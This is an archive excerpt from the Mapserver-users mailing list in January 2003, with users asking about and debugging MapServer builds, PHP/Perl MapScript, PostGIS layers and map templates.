Date: Thu, 9 Jan 2003 23:27:42 +0100
Subject: [Mapserver-users] CLX component
References:
Message-ID: <007601c2b82e$53b9ff20$6501a8c0@dual866>
CartoWorld has created a Kylix version of their cartoVCL mapping
component. It's called CartoCLX.
Find it at www.cartoworld.com
Regards
Uffe
----- Original Message -----
From: "Arthur, John"
To:
Sent: Thursday, January 09, 2003 11:09 PM
Subject: [Mapserver-users] CLX component
> Last year, Pedro A. Carrasco, mentioned something about a CLX
components for
>
> Delphi or Kylix. I was wandering if anybody has done something with
> mapserver and Delphi, Kylix or C++. I am learning Delphi and C++ and
would
> like to experiment with creating a GIS product for Linux other than
Grass.
>
> --
> John Arthur
> RF Technician
> Office: (757) 490-7221
> Cellular: (757) 839-0021
> Email: john.arthur at t-mobile.com
> T-Mobile USA
> Get more from life
>
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> John Arthur
> RF Technician
> Office: (757) 490-7221
> Cellular: (757) 839-0021
> Email: john.arthur at t-mobile.com
> T-Mobile USA
> Get more from life
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From pdalfarra at ibelgique.com Sat Jan 4 01:23:39 2003
From: pdalfarra at ibelgique.com (pdalfarra at ibelgique.com)
Date: Sat, 4 Jan 2003 09:23:39 GMT
Subject: [Mapserver-users] Mapserver and Libgd
Message-ID: <200301040923.2789@th00.opsion.fr>
So here is my very first message on this mailing
list..
First I have to say that I am not a Linux geek, but
anyway, I have tried to compile and deploy mapserver
on mandrake 8.
I have downloaded a lot of mapserver related stuff,
as gd 2.
I manage to compile the all thing and obtain a
mapserver binary file, but, when I try to execute it
(manually or when it is deployed in my cgi-bin
directory) I have this error message.
[root at localhost mapserver-3.6.3]# ./mapserv
./mapserv: error while loading shared libraries:
libgd.so.2: cannot load shared object file: No such
file or directory
I don't understand since I have a libgd.so.2 file
(soft link) in my /usr/local/lib directory which is
pointing to /usr/local/lib/libgd.so.2.0.0 that I
obtain when I compile gd-2.0.9.
Here are the packages I have downloaded and compiled
(using ./configure, then make (sometimes with needed
options), and finally make install (or some other
make target corresponding to a classic make install):
freetype-2.1.3
gd-2.0.9
jpeg-6b
libpng-1.2.5
mapserver-3.6.3
proj-4.4.5
shapelib-1.2.9
tiff-v3.5.7
w3c-libwww-5.4.0
zlib-1.1.4
Can somone help?
Thanx a lot for helping me in this task and prevent
me from having to install the windows mapserver
version ... ;-)
From kpw at jump9.com Sat Jan 4 13:47:02 2003
From: kpw at jump9.com (Kevin Webb)
Date: Sat, 4 Jan 2003 16:47:02 -0500
Subject: [Mapserver-users] (no subject)
Message-ID: <200301042147.h04Llgae027882@lists.gis.umn.edu>
Dear Mapserver folks,
I?m currently working on a rather larger Mapserver application and have run
into a couple of problems/potential features that I?d like to share and get
your thoughts on.
1) With PostGIS (or SDE, etc.) connections what is potential of moving the
FILTER attribute to the CLASS ? essentially replacing current role of the
EXPRESSION attribute? It seems that given the database server?s power at
indexing and filtering this would be significantly faster than passing all
the data back to Mapserver to have it again reprocess the data in order to
generate different classes. Is this a correct assumption or are there
problems with doing multiple queries to retrieve each class (e.g. is the
query overhead greater than simply doing the filtering inside mapserver)?
I ask because I?m thinking about implementing something similar to ESRI?s
unique and gradient colors features (for example allowing users to select
groups of objects with each layer and apply colors based on attributes ? or
quantize attributes and apply a gradient). This would mean lots of
sub-classes in each layer and lots of filtering going on to organize these
classes. It would be great if I could just pass in a different WHERE clause
for each class.
Does this make sense or are there better ways to accomplish this?
2) This is more of a PostGIS question (which I?m posting on their list as
well), but it has implications for Mapserver as well, so I thought I?d share
it here. What is the current opinion of implementing some sort of line
simplification algorithm (like Douglas-Peucker) on data before it?s sent to
Mapserver. For example, if Mapserver could communicate the current scale
(units/pixel) to the DB server, then it could strip out extraneous
information prior to transmission. This could significantly reduce the
processing time required to parse complex layers at full extent.
I know there?s been some talk about this amongst the PostGIS folks in the
past, but I don?t have a clear picture of where this stands today, or if any
Mapserver users would even find this sort of feature useful. I think I?ve
come up with a way to implement it, but I?d like to hear input from others
before go too far.
3) Is there any interest or discussion of implementing an opacity setting
for layers (similar to ESRI?s) such that a polygon might be 50% or 75%
opaque, for example? I don?t know much about the implications for this, but
my understanding is that GD already supports this. Correct?
With that said ? I think I may be in a position to try implementing theses
features sometime soon. I?d love to hear input from others and I?m going to
start playing with the source on my own soon.
Thanks!
Kevin Webb
--
e: kpw[at]jump9.com
p: (919)260-8375
w: kpw.jump9.com
From spencer at dmsolutions.ca Sat Jan 4 20:26:24 2003
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Sat, 04 Jan 2003 23:26:24 -0500
Subject: [Mapserver-users] [Fwd: MapLab MapInfo support]
Message-ID: <3E17B3F0.9040906@magma.ca>
This is a multi-part message in MIME format.
--------------090501090407070200090907
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Diego, I can't really help you with specifics on this particular
problem, I am forwarding your question to the mapserver-users list.
Hopefully someone there can answer you.
Paul
--
Paul Spencer
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca
--------------090501090407070200090907
Content-Type: message/rfc822;
name="MapLab MapInfo support"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="MapLab MapInfo support"
Received: from xcalibur.dmsolutions.ca (www2.dmsolutions.on.ca [209.217.116.146])
by in3.magma.ca (Magma's Mail Server) with ESMTP id h050TcwS021560
for ; Sat, 4 Jan 2003 19:29:38 -0500 (EST)
Received: from brezza.iuav.it ([157.138.209.2])
by xcalibur.dmsolutions.ca (8.11.2/8.11.2) with ESMTP id h050TZt04510
for ; Sat, 4 Jan 2003 19:29:36 -0500
Received: from bora.iuav.it (bora.iuav.it [157.138.209.6])
by brezza.iuav.it (8.9.3 (PHNE_25183)/8.9.3) with ESMTP id BAA25341
for ; Sun, 5 Jan 2003 01:29:30 +0100 (MET)
Received: (from tzzntt01 at localhost)
by bora.iuav.it (8.9.3 (PHNE_25183)/8.9.3) id BAA07286;
Sun, 5 Jan 2003 01:29:29 +0100 (MET)
Date: Sun, 5 Jan 2003 01:29:24 +0100 (MET)
From: Diego Tiozzo Netti
To: spencer at dmsolutions.ca
Subject: MapLab MapInfo support
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Dear Mr. Spencer,
I'm new to MapServer/MapLab world.
I've read a your reply in "Maplab Users Mailing list" about questions
concerning MapInfo data using and importing.
Well, although I'm still fighting with some troubles in configuring PHP,
before ending to tune MapLab, I wonder (and I ask to you) which is
correct procedure to import Mapinfo (4.x version) native .tab files.
I'm going to use a very complex structured cartography with many layers
in .tab format: which preliminary procedures are necessary to work with
MapInfo files?
Have I to convert / transform these files in any way?
Thank you for any help.
Regards,
-Diego Tiozzo Netti
------------------
--------------090501090407070200090907--
From mccrone at pc.jaring.my Sun Jan 5 15:26:32 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Mon, 6 Jan 2003 07:26:32 +0800
Subject: [Mapserver-users]
Message-ID: <005a01c2b511$e2391b20$470a18d3@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0057_01C2B554.EF8E0EA0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
>From a previous question asked by Stephen Woodbridge =
and answered by=20
Daniel Morissette =20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Stephen, Peter,
The ROSA applet supports this. However it has no knowledge of
projections, so the measured distance is just an approximation as stated
in the documentation.
For an example of a site using this, see:
http://www.sis.ec.gc.ca/msapps/ec_species/htdocs/ec_species_e.phtml
and for the docs, look for "Distance Measurement Tool" in=20
http://www2.dmsolutions.ca/webtools/rosa/rosa_params.html
Daniel
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
I had a look at the example above and it does appear to calculate the =
correct pixel size that is used in the distance. However, I cannot find =
(in the code) where it does this, so I am wondering if Daniel could shed =
some light on this one.
One thing with this sample - the user must not only select another tool =
and click on the map in order for the distance to "zero". Just by =
re-selecting the measure tool or clicking on another one does not "zero" =
the cumulative distance.
Thanks
------=_NextPart_000_0057_01C2B554.EF8E0EA0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
The ROSA applet supports=20
this. However it has no knowledge of projections, so the =
measured=20
distance is just an approximation as stated in the =
documentation.
Daniel =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
I had a look at the example above =
and it does=20
appear to calculate the correct pixel size that is used in the distance. =
However, I cannot find (in the code) where it does this, so I am =
wondering if=20
Daniel could shed some light on this one.
One thing with this sample - the =
user must=20
not only select another tool and click on the map in order for the =
distance to=20
"zero". Just by re-selecting the measure tool or clicking on another one =
does=20
not "zero" the cumulative distance.
Thanks
------=_NextPart_000_0057_01C2B554.EF8E0EA0--
From info at giswebsite.com Mon Jan 6 16:12:34 2003
From: info at giswebsite.com (Jonathan W. Lowe)
Date: Mon, 6 Jan 2003 16:12:34 -0800
Subject: [Mapserver-users] mapscript and XBase cause Out of memoryerrorand/or premature endof script headers error
In-Reply-To: <200301061422.h06EMbR11599@yogi.medinaco.net>
References: <200301061422.h06EMbR11599@yogi.medinaco.net>
Message-ID: <1041898354.3e1a1b725f27e@webmail.lmi.net>
Lowell,
Thanks for your help (once again!).
I've made a little progress. It turned out that the hosting service had a 4 MB
memory cap on any perl scripts run from a user's local directories (i.e. my
case). When the sys admin raised the cap to 12 MB, one of the scripts that had
run out of memory at 4 MB suddenly worked. So, the source of the problem
appears to have been this host-imposed memory limit.
The rest of the story is still not over, however. The test script that now
works is only a test script; the main script still fails, with a "Premature end
of script headers" error message in the log file. I plan to slowly add
subroutines to the working script and see where it stops working...
To answer your question below, I had not cross-posted to a BSD list. Now that
the memory cap is identified, I think it's safe to consider the issue closed
and I'll get back to the debugging, one line at a time. :-)
Again, thank you very much for your help.
Jonathan
Quoting Lowell Filak :
> FYI: I forwarded this thread to a gentleman I know who has far more
> experience with BSD.
> The only sticky point is that it could be a little while before he replies.
> Did you happen to cross-post this to any BSD list?
> I can't claim to be any type of expert but it would appear that there is
> deffinitely a memory usage limit being imposed at some point.
> There appears to be talk about a login.conf file that has a key in it named
> memoryuse that can be used to limit the amount of memory on a per-user
> basis.
> HTH
> Lowell
>
> The following message was sent by "Jonathan W. Lowe"
> on 03 Jan 2003 14:21:50 -0800.
>
> > Adding system("unlimit"); or system("ulimit"); to the script results in
> > the following error_log entries (respectively):
> >
> > Can't exec "unlimit": No such file or directory at
> > /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3.
> > gd-png: fatal libpng error: Out of Memory
> > gd-png error: setjmp returns error condition
> >
> > Can't exec "ulimit": No such file or directory at
> > /usr/home/gisweb/www/cgi-bin/ms_test5.cgi line 3.
> > gd-png: fatal libpng error: Out of Memory
> > gd-png error: setjmp returns error condition
> >
> > At a command prompt on the FreeBSD system, typing "unlimit" successfully
> > calls the builtin command. Likewise, also in the FreeBSD system,
> > opening "sh" and typing "ulimit" returns the text: "unlimited", also
> > successfully calling the builtin command.
> >
> > But no luck when using the system call as part of a CGI-driven script.
> >
> > Should I be forcing the perl script to run in another shell? (Not sure
> > how I'd do that.)
> >
> > - Jonathan
> >
> > On Fri, 2003-01-03 at 12:32, Lowell Filak wrote:
> > > I'm thinking as a quick test you could do:
> > > system("ulimit");
> > > or
> > > system("unlimit");
> > > and see if the script executes properly.
> > > Lowell
> > >
> > > The following message was sent by "Jonathan W. Lowe"
> on 03 Jan 2003 11:50:56 -0800.
> > >
> > > > Thanks, Lowell. New discoveries...
> > > >
> > > > The CGI module seems to be the problem.
> > > >
> > > > The following bare-bones script works perfectly when the "#use CGI;"
> is
> > > > commented out:
> > > >
> > > > #!/usr/bin/perl -w
> > > > use strict;
> > > > BEGIN { unshift(@INC, ('/usr/home/gisweb/local/lib',
> > > > '/usr/home/gisweb/local/lib/perl5/site_perl/5.005/i386-freebsd'));}
> > > > use mapscript;
> > > > use XBase;
> > > > use CGI;
> > > >
> > > > my $mapfilename = "/usr/home/gisweb/gis/proj/berk/b20.map";
> > > > my $image_path = '/usr/home/gisweb/www/docs/gis/scratch/';
> > > > my $image_virtual_path = '/gis/scratch/';
> > > > my $image_id = $$ . time() . ".png";
> > > >
> > > > my $map = new mapObj($mapfilename) or die('Unable to open mapfile.');
> > > > my $img = $map->draw() or die('Unable to draw map');
> > > > binmode STDOUT;
> > > > $img->saveImage($image_path .
> > > >
> $image_id,$mapscript::MS_PNG,$map->{transparent},$map->{interlace},95);
> > > > my $recnumb = 3;
> > > > my $table = new XBase '/usr/home/gisweb/gis/data/berk/wa_b.dbf'
> > > > or die XBase->errstr;
> > > > my @querydata = $table->get_record($recnumb);
> > > > my $block_result = $querydata[1];
> > > >
> > > > print "Content-type: text/html\n\n";
> > > > print "\n";
> > > > print "XBase output: \n";
> > > > print "$block_result!\n";
> > > > print "
Mapscript output: \n";
> > > > print " > > > print "$image_id\" border=\"1\">\n";
> > > > print "\n"
> > > >
> > > > # --- End of ms_test5.cgi --- #
> > > >
> > > > But...when run with "use CGI;" uncommented, the image is corrupt and
> the
> > > > following message appears in the apache error_log:
> > > >
> > > > gd-png: fatal libpng error: Out of Memory
> > > > gd-png error: setjmp returns error condition
> > > >
> > > > When run in the command line (as "perl ms_test5.cgi"), the program
> also
> > > > runs perfectly.
> > > >
> > > > So, if the solution involves ulink/unlink, the shell builtin, how do I
> > > > take advantage of that builtin command if the program is running
> within
> > > > the apache/CGI environment?
> > > >
> > > > Thanks again for your help,
> > > >
> > > > Jonathan
> > > >
> > > > On Fri, 2003-01-03 at 06:10, Lowell Filak wrote:
> > > > > The only thing I can seem to locate right now is the shell built-in
> command ulimit/unlimit .
> > > > > Possibly the shell that the cgi is being run in needs unlimit set.?
> > > > > All this is assuming that when you receive the out-of-memory error
> your watching top and can clearly see that there is plenty of memory left.?
> > > > > HTH
> > > > > Lowell F.
> > > > >
> > > > > The following message was sent by "Jonathan W. Lowe"
> on 02 Jan 2003 16:34:07 -0800.
> > > > >
> > > > > > List:
> > > > > >
> > > > > > Perl mapscript in combination with the perl XBase and CGI modules
> works
> > > > > > very well in my Redhat 8 development environment, but when moving
> the
> > > > > > code to the production FreeBSD environment, the following problem
> > > > > > results:
> > > > > >
> > > > > > A program containing the statements...
> > > > > >
> > > > > > use mapscript;
> > > > > > use XBase;
> > > > > >
> > > > > > ...runs the mapscript portions correctly when just the "use XBase;"
> line
> > > > > > is commented out.
> > > > > >
> > > > > > The same program runs the XBase portions correctly when just the
> "use
> > > > > > mapscript;" line is commented out.
> > > > > >
> > > > > > The line causing problems when both modules are running contains
> the
> > > > > > following perl mapscript command:
> > > > > >
> > > > > > my $img = $map->draw() or die('Unable to draw map');
> > > > > >
> > > > > > The resulting line in the apache error_log reads:
> > > > > >
> > > > > > Out of memory!
> > > > > > [Thu Jan 2 16:09:25 2003] [error] Premature end of script
> > > > > > headers...etc
> > > > > >
> > > > > > The only posting referring to "Out of memory" in this context
> refers to
> > > > > > SWIG and is a couple of years old.
> > > > > >
> > > > > > Any ideas for resolving this problem?
> > > > > >
> > > > > > Regards,
> > > > > > Jonathan W. Lowe
> > > > > >
> > > > > > _______________________________________________
> > > > > > Mapserver-users mailing list
> > > > > > Mapserver-users at lists.gis.umn.edu
> > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > > > >
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Mapserver-users mailing list
> > > > Mapserver-users at lists.gis.umn.edu
> > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > >
> > >
> >
>
>
>
Jonathan W. Lowe
email - info at giswebsite.com
website - http://www.giswebsite.com
From mike_5102 at pchome.com.tw Mon Jan 6 17:09:24 2003
From: mike_5102 at pchome.com.tw (Mikepchome)
Date: Tue, 7 Jan 2003 09:09:24 +0800
Subject: [Mapserver-users] about php function "querybypoint()"
Message-ID: <002701c2b5e9$6b9db420$7d474ad3@Mike>
This is a multi-part message in MIME format.
------=_NextPart_000_0024_01C2B62C.79424E40
Content-Type: text/plain;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and MapServer version 3.5.I want to search the point =
on the map and I use the function "int queryByPoint(pointObj point, int =
mode, double buffer)",but there are some problems:
the error messages:
Warning: MapServer Error in msQueryByPoint(): No matching record(s) =
found.
this is my file:pon.phtml
$cx=3D($rectangle->maxx - $rectangle->minx)/$map->width;
$cy=3D($rectangle->maxy- $rectangle->miny)/$map->height;
$x1=3D$rectangle->minx + $cx*$x;
$y1=3D$rectangle->maxy - $cy*$y;
$pon_point =3D ms_newpointObj();
$pon_point->setXY($x1,$y1);
$layer->querybypoint($pon_point,MS_SINGLE,-1);
echo $pon_point->x;
echo "\n";
echo $pon_point->y;
The function defined:
int queryByPoint(pointObj point, int mode, double buffer)
Query all selected layers in map at point location specified in =
georeferenced map coordinates (i.e. not pixels).The query is performed =
on all the shapes that are part of a CLASS that contains a TEMPLATE =
value or that match any class in a layer that contains a LAYER TEMPLATE =
value.
Mode is MS_SINGLE or MS_MULTIPLE depending on number of results you =
want.Passing buffer <=3D0 defaults to tolerances set in the map file(in =
pixels) but you can use a constant buffer (specified in ground units) =
instead.
Returns MS_SUCCESS if shapes were found or MS_FAILURE if nothing was =
found or if some other error happened (note that the error message in =
case nothing was found can be avoided in PHP using the '@' control =
operator).
question:
What's problems with my program?
Can you explan how the function should be used correctly?I don't know =
the definition "in pixel"?what does it mean?
I'll really apreciate your response!
------=_NextPart_000_0024_01C2B62C.79424E40
Content-Type: text/html;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all, I have PHP ver4.0.6 and =
MapServer=20
version 3.5.I want to search the point on the map and I use the function =
"int queryByPoint(pointObj point, int mode, double=20
buffer)",but there =
are some=20
problems:
the error messages:
Warning:=20
MapServer Error in msQueryByPoint(): No matching record(s)=20
found.
int queryByPoint(pointObj point, int mode, =
double=20
buffer)
Query all selected layers in map at point =
location=20
specified in georeferenced map coordinates (i.e. not pixels).The query =
is=20
performed on all the shapes that are part of a CLASS that contains a =
TEMPLATE=20
value or that match any class in a layer that contains a LAYER TEMPLATE=20
value. Mode =
is=20
MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing =
buffer=20
<=3D0 defaults to tolerances set in the map file(in pixels) but you can use a constant =
buffer=20
(specified in ground units) instead. Returns MS_SUCCESS if shapes =
were found=20
or MS_FAILURE if nothing was found or if some other error happened (note =
that=20
the error message in case nothing was found can be avoided in PHP using =
the '@' control operator).
question:
What's problems with my program?
Can you explan how the function should be used =
correctly?I don't know=20
the definition "in pixel"?what does it mean?
I'll really apreciate your =
response!
------=_NextPart_000_0024_01C2B62C.79424E40--
==========================================================
92?~???V?m???O???K?T?????W?B?}?l????
http://edm-prg.epaper.com.tw/click.php?ad_code=1083
==========================================================
PC home Online ?????a?x?G?|?????@?A?x?W???j???J?f????
==========================================================
From stephane.riff at cerene.fr Tue Jan 7 01:52:39 2003
From: stephane.riff at cerene.fr (steff)
Date: Tue, 7 Jan 2003 10:52:39 +0100
Subject: [Mapserver-users] PHPmapscript and reference map
Message-ID: <000801c2b632$90d3b9d0$b9c8c8c8@devp09>
This is a multi-part message in MIME format.
------=_NextPart_000_0005_01C2B63A.E5577E30
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello,
here is my problem.
I have an application with a map and a ref map.
I want to set the extent of the main map to the extent of the reference =
map but i don't know how to do that with PHPmapscript.
thx
------=_NextPart_000_0005_01C2B63A.E5577E30
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello,
here is my problem.
I have an application with a map and a =
ref=20
map.
I want to set the extent of the main =
map to the=20
extent of the reference map but i don't know how to do that with=20
PHPmapscript.
thx
------=_NextPart_000_0005_01C2B63A.E5577E30--
From mccrone at pc.jaring.my Tue Jan 7 06:06:32 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Tue, 7 Jan 2003 22:06:32 +0800
Subject: [Mapserver-users] Checkboxes for layer control
Message-ID: <000a01c2b655$fc83d9d0$e89e063d@clickntrac>
This is a multi-part message in MIME format.
------=_NextPart_000_0007_01C2B699.09B280A0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I'm trying to implement check boxes to toggle on/off layers. It looks =
pretty darn simple but I can't seem to get it working. The checkboxes =
are to reflect what layers are loaded, but they are not. I've tried for =
many hours but once again must resort to the list. So I'm really hoping =
that someone can point out my mistake(s).
My original had the rosa applet in it and it was working great. But I =
took it out in the code below to see if that made a difference, so there =
is some declarations in the template file that do not currently apply.
I start with index.html
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
MapServer 3.5 Tutorial
------=_NextPart_000_0007_01C2B699.09B280A0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I'm trying to implement check boxes to =
toggle=20
on/off layers. It looks pretty darn simple but I can't seem to get =
it=20
working. The checkboxes are to reflect what layers are loaded, but =
they=20
are not. I've tried for many hours but once again must resort to =
the list.=20
So I'm really hoping that someone can point out my =
mistake(s).
My original had the rosa applet in it =
and it was=20
working great. But I took it out in the code below to see if that made a =
difference, so there is some declarations in the template file that do =
not=20
currently apply.
WEB TEMPLATE =
s1ex1.html =20
IMAGEPATH "set in index.html" IMAGEURL "set in=20
index.html" END
LAYER # water NAME =
"water" DATA=20
hydrop_ugl STATUS DEFAULT TYPE POLYGON
CLASS NAME =
"water" COLOR 200 200 255 =20
OUTLINECOLOR 255 0 0 END # end of water features =
class END #=20
end of water features layer
LAYER # States NAME =
"states" =20
DATA states_ugl STATUS DEFAULT TYPE =
POLYGON
CLASS # States =
class =20
NAME "States" EXPRESSION ('[CLASS]' =3D=20
'land') COLOR 240 240 240 =20
OUTLINECOLOR 0 0 0 END # end of States class object END # =
end of=20
layer object
<!-- ROSA applet specific tags =20
--> <input type=3D"hidden" =
name=3D"imagewidth"=20
value=3D"[mapwidth]"> <input type=3D"hidden" =
name=3D"imageheight" value=3D"[mapheight]"> =
<!--=20
Initialization of the parameters which can be set from the applet =20
--> <input type=3D"hidden" =
name=3D"INPUT_TYPE" =20
value=3D""> <input type=3D"hidden" =
name=3D"INPUT_COORD"=20
value=3D"">
=
<!--=20
Applet and Parameter=20
--> </p> <p> </p> </form> </html>
------=_NextPart_000_0007_01C2B699.09B280A0--
From beautygg-0526 at yahoo.com.tw Tue Jan 7 06:21:35 2003
From: beautygg-0526 at yahoo.com.tw (GiGiyahoo)
Date: Tue, 7 Jan 2003 22:21:35 +0800
Subject: [Mapserver-users] Fw: about php function "querybypoint()"
Message-ID: <002d01c2b659$ae1bd780$3c46fea9@Mike>
This is a multi-part message in MIME format.
------=_NextPart_000_001F_01C2B69B.2381F220
Content-Type: text/plain;
charset="big5"
Content-Transfer-Encoding: quoted-printable
----- Original Message -----=20
From: Mike(pchome)=20
To: mapserver-users at lists.gis.umn.edu=20
Sent: Tuesday, January 07, 2003 9:09 AM
Subject: about php function "querybypoint()"
Hello all,
I have PHP ver4.0.6 and MapServer version 3.5.I want to search the point =
on the map and I use the function "int queryByPoint(pointObj point, int =
mode, double buffer)",but there are some problems:
the error messages:
Warning: MapServer Error in msQueryByPoint(): No matching record(s) =
found.
this is my file:pon.phtml
$cx=3D($rectangle->maxx - $rectangle->minx)/$map->width;
$cy=3D($rectangle->maxy- $rectangle->miny)/$map->height;
$x1=3D$rectangle->minx + $cx*$x;
$y1=3D$rectangle->maxy - $cy*$y;
$pon_point =3D ms_newpointObj();
$pon_point->setXY($x1,$y1);
$layer->querybypoint($pon_point,MS_SINGLE,-1);
echo $pon_point->x;
echo "\n";
echo $pon_point->y;
The function defined:
int queryByPoint(pointObj point, int mode, double buffer)
Query all selected layers in map at point location specified in =
georeferenced map coordinates (i.e. not pixels).The query is performed =
on all the shapes that are part of a CLASS that contains a TEMPLATE =
value or that match any class in a layer that contains a LAYER TEMPLATE =
value.
Mode is MS_SINGLE or MS_MULTIPLE depending on number of results you =
want.Passing buffer <=3D0 defaults to tolerances set in the map file(in =
pixels) but you can use a constant buffer (specified in ground units) =
instead.
Returns MS_SUCCESS if shapes were found or MS_FAILURE if nothing was =
found or if some other error happened (note that the error message in =
case nothing was found can be avoided in PHP using the '@' control =
operator).
question:
What's problems with my program?
Can you explan how the function should be used correctly?I don't know =
the definition "in pixel"?what does it mean?
I'll really apreciate your response!
------=_NextPart_000_001F_01C2B69B.2381F220
Content-Type: text/html;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all, I have PHP ver4.0.6 and =
MapServer=20
version 3.5.I want to search the point on the map and I use the function =
"int queryByPoint(pointObj point, int mode, double=20
buffer)",but there =
are some=20
problems:
the error messages:
Warning:=20
MapServer Error in msQueryByPoint(): No matching record(s)=20
found.
int queryByPoint(pointObj point, int mode, =
double=20
buffer)
Query all selected layers in map at point =
location=20
specified in georeferenced map coordinates (i.e. not pixels).The query =
is=20
performed on all the shapes that are part of a CLASS that contains a =
TEMPLATE=20
value or that match any class in a layer that contains a LAYER TEMPLATE=20
value. Mode =
is=20
MS_SINGLE or MS_MULTIPLE depending on number of results you want.Passing =
buffer=20
<=3D0 defaults to tolerances set in the map file(in pixels) but you can use a constant =
buffer=20
(specified in ground units) instead. Returns MS_SUCCESS if shapes =
were found=20
or MS_FAILURE if nothing was found or if some other error happened (note =
that=20
the error message in case nothing was found can be avoided in PHP using =
the '@' control operator).
question:
What's problems with my program?
Can you explan how the function should be used =
correctly?I don't know=20
the definition "in pixel"?what does it mean?
I'll really apreciate your =
response!
------=_NextPart_000_001F_01C2B69B.2381F220--
-----------------------------------------------------------------
< ?C???? Yahoo!?_?? > www.yahoo.com.tw
From rollform_master at hotmail.com Tue Jan 7 10:57:06 2003
From: rollform_master at hotmail.com (Eric L. Blevins)
Date: Tue, 7 Jan 2003 13:57:06 -0500
Subject: [Mapserver-users] Strange Problem when using OVERLAYSYMBOL
Message-ID:
This is a multi-part message in MIME format.
------=_NextPart_000_013F_01C2B654.AA373C90
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have something missing from my layers but =
I do know that removing OVERLAYSYMBOL from the layer makes this problem =
go away.
this causes an error in the layer directly after this layer:
LAYER
NAME railroad
TYPE line
STATUS default
CONNECTIONTYPE postgis
maxscale 200000
CONNECTION "user=3DXXXXX dbname=3DTIGER host=3DXXXXX"
DATA "the_geom from (select oid,the_geom,fename,fetype from =
railroad) AS foo using SRID=3D4269"
CLASS
SYMBOL 'circle'
COLOR 0 0 0
size 5
OVERLAYSYMBOL 'dcircle'
OVERLAYCOLOR 255 255 255
overlaySIZE 3
end
END
However if I remove the OVERLAY stuff the errors go away.
This is the error I recieve which happens to be the next layer in the =
map file:
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS SQL =
statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT =
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from =
(select oid,the_geom,fename,fetype,symbol from local) AS foo WHERE =
the_geom && 'BOX3D(-71.133294768 42.308640336,-71.027438768 =
42.414496336)'::BOX3D=20
The thing I noticed is that the SRID is not in this query and if you try =
to run this query from the command line postgresql returns "ERROR: =
Operation on two GEOMETRIES with different SRIDs" hence the reason the =
next layer fails.
Here is what the next layer looks like:
LAYER
NAME Local
TYPE line
STATUS default
CONNECTIONTYPE postgis
maxscale 22000
CONNECTION "user=3DXXX dbname=3DTIGER host=3DXXX"
DATA "the_geom from (select oid,the_geom,fename,fetype,symbol =
from local) AS foo using SRID=3D4269"
SIZEUNITS feet
CLASS
COLOR 140 140 140
size 40
symbol "circle"
end
END
You can see that I have the using SRID=3D4269 in the layer but for some =
reason when I use OVERLAYSYMBOL the using SRID=3D4269 gets ignored in =
the layer following the layer with OVERLAYSYMBOL. Simply removing the =
OVERLAYXXX lines from the mapfile everything renders perfect.
Anyone have any ideas what the problem could be?
Thanks!
Eric L. Blevins
www.WiFiMaps.com
------=_NextPart_000_013F_01C2B654.AA373C90
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have =
something=20
missing from my layers but I do know that removing OVERLAYSYMBOL from =
the layer=20
makes this problem go away.
this causes an error in the layer =
directly=20
after this layer:
LAYER =20
NAME railroad TYPE=20
line STATUS=20
default CONNECTIONTYPE=20
postgis maxscale=20
200000 CONNECTION =
"user=3DXXXXX=20
dbname=3DTIGER =
host=3DXXXXX" DATA=20
"the_geom from (select oid,the_geom,fename,fetype from railroad) AS foo =
using=20
SRID=3D4269" =20
CLASS &nbs=
p; =20
SYMBOL=20
'circle' &=
nbsp; =20
COLOR 0 0=20
0 &n=
bsp; =20
size=20
5 &n=
bsp; =20
OVERLAYSYMBOL=20
'dcircle' =
=20
OVERLAYCOLOR 255 255=20
255 =
=20
overlaySIZE 3
=20
end END
However if I remove the OVERLAY stuff =
the errors go=20
away.
